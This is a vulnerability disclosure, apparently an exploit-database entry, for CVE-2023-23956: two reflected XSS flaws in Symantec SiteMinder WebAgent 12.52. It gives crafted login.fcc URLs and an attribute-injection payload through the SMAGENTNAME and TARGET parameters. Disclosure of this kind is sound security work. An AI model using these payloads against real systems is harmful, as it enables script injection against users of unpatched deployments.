Symantec SiteMinder WebAgent v12.52 – Cross-site scripting (XSS)
Exploit Title: Symantec SiteMinder WebAgent v12.52 - Cross-site scripting (XSS) Google Dork: N/A Date: 18-06-2023 Exploit Author: Harshit Joshi Vendor Homepage: https://community.broadcom.com/home Software Link: https://www.broadcom.com/products/identity/siteminder Version: 12.52 Tested on: Linux, Windows CVE: CVE-2023-23956 Security Advisory: https://support.broadcom.com/external/content/SecurityAdvisories/0/22221 *Description:* I am writing to report two XSS vulnerabilities (CVE-2023-23956) that I have discovered in the Symantec SiteMinder WebAgent. The vulnerability is related to the improper handling of user input and has been assigned the Common Weakness Enumeration (CWE) code CWE-79. The CVSSv3 score for this vulnerability is 5.4. Vulnerability Details: --------------------- *Impact:* This vulnerability allows an attacker to execute arbitrary JavaScript code in the context of the affected application. *Steps to Reproduce:* *First:* 1) Visit - https://domain.com/siteminderagent/forms/login.fcc?TYPE=xyz&REALMOID=123&GUID=&SMAUTHREASON=0&METHOD=GET&SMAGENTNAME=-SM-%2F%22%20onfocus%3D%22alert%281%29%22%20autofocus%3D%22 2) After visiting the above URL, click on the "*Change Password*" button, and the popup will appear. - The *SMAGENTNAME *parameter is the source of this vulnerability. *- Payload Used: **-SM-/" onfocus="alert(1)" autofocus="* *Second:* 1) Visit - https://domain.com/siteminderagent/forms/login.fcc?TYPE=123&TARGET=-SM-%2F%22%20onfocus%3D%22alert%281%29%22%20autofocus%3D%22 2) After visiting the above URL, click on the "*Change Password*" button, and the popup will appear. - The *TARGET *parameter is the source of this vulnerability. *- Payload Used: **-SM-/" onfocus="alert(1)" autofocus="* |